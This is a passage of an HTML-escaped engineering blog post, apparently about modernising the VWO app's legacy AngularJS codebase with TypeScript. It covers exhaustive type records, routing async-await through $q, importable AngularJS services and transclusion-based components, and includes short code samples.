constant&quot;&gt;MOBILE_ICON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Mobile&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;SessionPlatform&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;TABLET&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; icon&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; IconEnum&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;IPAD_ICON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Tablet&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; satisfies Record&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;SessionPlatformSupportedEnum&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; icon&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; IconEnum&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; title&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;div style=&quot;text-align:center; font-size: 12px; margin-bottom: 20px;&quot;&gt; The code as above ensures that if a new &lt;code class=&quot;language-text&quot;&gt;SessionPlatform&lt;/code&gt; is added, the developer never misses adding the details in &lt;code class=&quot;language-text&quot;&gt;SessionPlatformDetails&lt;/code&gt;. &lt;/div&gt; &lt;p&gt;Recently, we also learnt about writing &lt;a target=&quot;_blank&quot; href=&quot;https://medium.com/technogise/type-safe-and-exhaustive-switch-statements-aka-pattern-matching-in-typescript-e3febd433a7a&quot;&gt;exhaustive switch cases with TS&lt;/a&gt; that basically eliminates any missed cases on compile-time itself.&lt;/p&gt; &lt;h3 id=&quot;async-await-support&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#async-await-support&quot; aria-label=&quot;async await support permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Async-await support&lt;/h3&gt; &lt;p&gt;AngularJs uses it&apos;s own &lt;code class=&quot;language-text&quot;&gt;$q&lt;/code&gt; service which is a first-class Promise implementation, but along with that it ensures that angular&apos;s digest cycle triggers automatically on promise status change. This works well until the developer ensures that native &lt;code class=&quot;language-text&quot;&gt;Promise&lt;/code&gt; is NOT used anywhere and only &lt;code class=&quot;language-text&quot;&gt;$q&lt;/code&gt; is used for any async operation, but easily falls apart if they use &lt;code class=&quot;language-text&quot;&gt;async-await&lt;/code&gt; which uses native &lt;code class=&quot;language-text&quot;&gt;Promise&lt;/code&gt; internally and digest cycles are missed. To mitigate this, we use &lt;code class=&quot;language-text&quot;&gt;target&lt;/code&gt; for TScompiler is &lt;code class=&quot;language-text&quot;&gt;ES5&lt;/code&gt; which transpiles ES5+ code down to ES5 and polyfill the new features with tslib/ts_helpers. The &lt;code class=&quot;language-text&quot;&gt;async-await&lt;/code&gt; code is transpiled down to using Native Promise. Now that is a small issue as the transpiled code directly depends on global &lt;code class=&quot;language-text&quot;&gt;Promise&lt;/code&gt; and we wanted the transpiled code to use &lt;code class=&quot;language-text&quot;&gt;$q&lt;/code&gt;. To fix this, we did a smart hack, by ensuring the global &lt;code class=&quot;language-text&quot;&gt;Promise&lt;/code&gt; always points to &lt;code class=&quot;language-text&quot;&gt;$q&lt;/code&gt; in the &lt;code class=&quot;language-text&quot;&gt;app.run&lt;/code&gt; block.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;Object&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;defineProperty&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;window&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;Promise&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; $q&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// ignore any other code trying to replace global Promise&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;Now, we have complete clean async-await support without worrying about missing digest and no promise-hells 😉.&lt;/p&gt; &lt;p&gt;I can keep on blabbering about how amazing typescript is (because it &lt;strong&gt;really is&lt;/strong&gt;), but I&apos;ll move on.&lt;/p&gt; &lt;h2 id=&quot;tuning-angularjs&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#tuning-angularjs&quot; aria-label=&quot;tuning angularjs permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Tuning AngularJS&lt;/h2&gt; &lt;p&gt;Everything around AngularJS is legacy now, be it available packages, community support, or answers over stackoverflow. Over the course of last few years, we upgraded the version of AngularJS in our VWO app from 1.2.x to 1.8.3 (last version of 1.x that Angular team left us with 🥲). This upgrade also was gradual and version-by-version as we had to go through the complete changelog of AngularJS. We were also at risk of depending on any deprecated undocumented APIs, hence extra care was needed.&lt;/p&gt; &lt;p&gt;However, everything eventually worked and we were running the latest version. We also upgraded few of the other related packages and &lt;code class=&quot;language-text&quot;&gt;@types/angular&lt;/code&gt; package for best typing support from TS.&lt;/p&gt; &lt;h3 id=&quot;importable-angularjs-services&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#importable-angularjs-services&quot; aria-label=&quot;importable angularjs services permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Importable AngularJS services&lt;/h3&gt; &lt;p&gt;AngularJS came with it&apos;s own dependency injection system because at that time, no particular module system was there in place in browsers. Developers usually used to mess-up the global namespace for code-sharing and hence dependency injection was a welcome move by Angular. Although, the way it had to be used was cumbersome where developer had to ensure the exact name with order in &lt;code class=&quot;language-text&quot;&gt;$inject&lt;/code&gt; and the order in the method being injected. We have moved on from that as we have ES module system in place (thanks to TS) and now we create and export instance of AngularJS services as soon as they get created. &lt;/p&gt; &lt;p&gt;We&apos;ve exported all the native angular services like &lt;code class=&quot;language-text&quot;&gt;$http&lt;/code&gt; from a single file named &lt;code class=&quot;language-text&quot;&gt;ngImports&lt;/code&gt;. This basically helps us evade the dependency injection and import services as if another ES module. Here is how it works:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/** ngImports.ts */&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; ng &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;angular&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; app &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;app&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// app is our angular module&apos;s instance&lt;/span&gt; app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;$injector&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;$i&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ng&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;IInjectorService&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; $http &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; $i&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;$http&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// and so on for every other native service...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; $http&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ng&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;IHttpService&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;For our custom services, we have been writing TS classes which create strongly-typed injectables. We export custom services instance from the definition file itself. Here is an example:&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;/** importHelpers.ts */&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;as&lt;/span&gt; ng &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;angular&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;import&lt;/span&gt; app &lt;span class=&quot;token keyword&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;app&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; $injector&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ng&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;IInjectorService&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;function&lt;/span&gt; getInjectable&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;injectable&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;string&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token function-variable function&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;instance&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;T&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;void&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;$injector&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;$injector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;injectable&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;$injector&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;$injector&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; ng&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;auto&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;IInjectorService&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;callback&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;$injector&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;get&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;injectable&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/** CampaignService.ts */&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;CampaignService&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// implementation here...&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; app&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;service&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;campaignService&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; CampaignService&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;export&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;let&lt;/span&gt; campaignService&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; CampaignService&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; getInjectable&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;CampaignService&lt;span class=&quot;token operator&quot;&gt;&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;campaignService&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token parameter&quot;&gt;instance&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; campaignService &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; instance&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;In the code above, &lt;code class=&quot;language-text&quot;&gt;campaignService&lt;/code&gt; is the instance of &lt;code class=&quot;language-text&quot;&gt;CampaignService&lt;/code&gt; that becomes directly importable anywhere throughout the codebase without going through the hassles of injection and preserves the type-safety automatically. &lt;/p&gt; &lt;h3 id=&quot;component-based-and-intelligent-attribute-directives&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#component-based-and-intelligent-attribute-directives&quot; aria-label=&quot;component based and intelligent attribute directives permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Component-based and intelligent attribute directives&lt;/h3&gt; &lt;p&gt;AngularJS always had the component-based architecture available at hand but under the disguise of isolated scope directives. In fact, isolated scope directives are much more powerful as you have access to everything, from requiring other controllers up the chain, having access to element using &lt;code class=&quot;language-text&quot;&gt;$element&lt;/code&gt; and the least appreciated feature - Transclusion.&lt;/p&gt; &lt;p&gt;Transclusion is probably the most underrated feature that AngularJs provides. This is basically analogous to &lt;em&gt;slots&lt;/em&gt; in VueJS. This allows us build components that can take parts of the template as input from the consumer of component, letting us make very generic components that only encapsulate javascript logic, and the styling and the content can be outsourced to consumer.&lt;/p&gt; &lt;p&gt;For example, here we&apos;re using our select-box component which handles everything that a select-box should, but along with that, the consumer of component has complete control on how options should look (like icons, tooltips). This is probably as powerful as any other modern framework.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;vwo-select-box&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;vm.selectBoxOptions&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;ng-model&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;vm.ngModelSelectBox&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;selected-value-slot&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;Selected - {{$slot.option.name}}&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;span&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;vwo-icon&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;vwo-dynamic-tooltip-next&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;icon-size&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;20&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;icon-name&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;icon--info&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;icon text--highlight&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;tooltip-content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; This just shows what you have selected. You have selected &apos;{{$slot.option.name}}&apos; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;tooltip-content&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt; &lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token 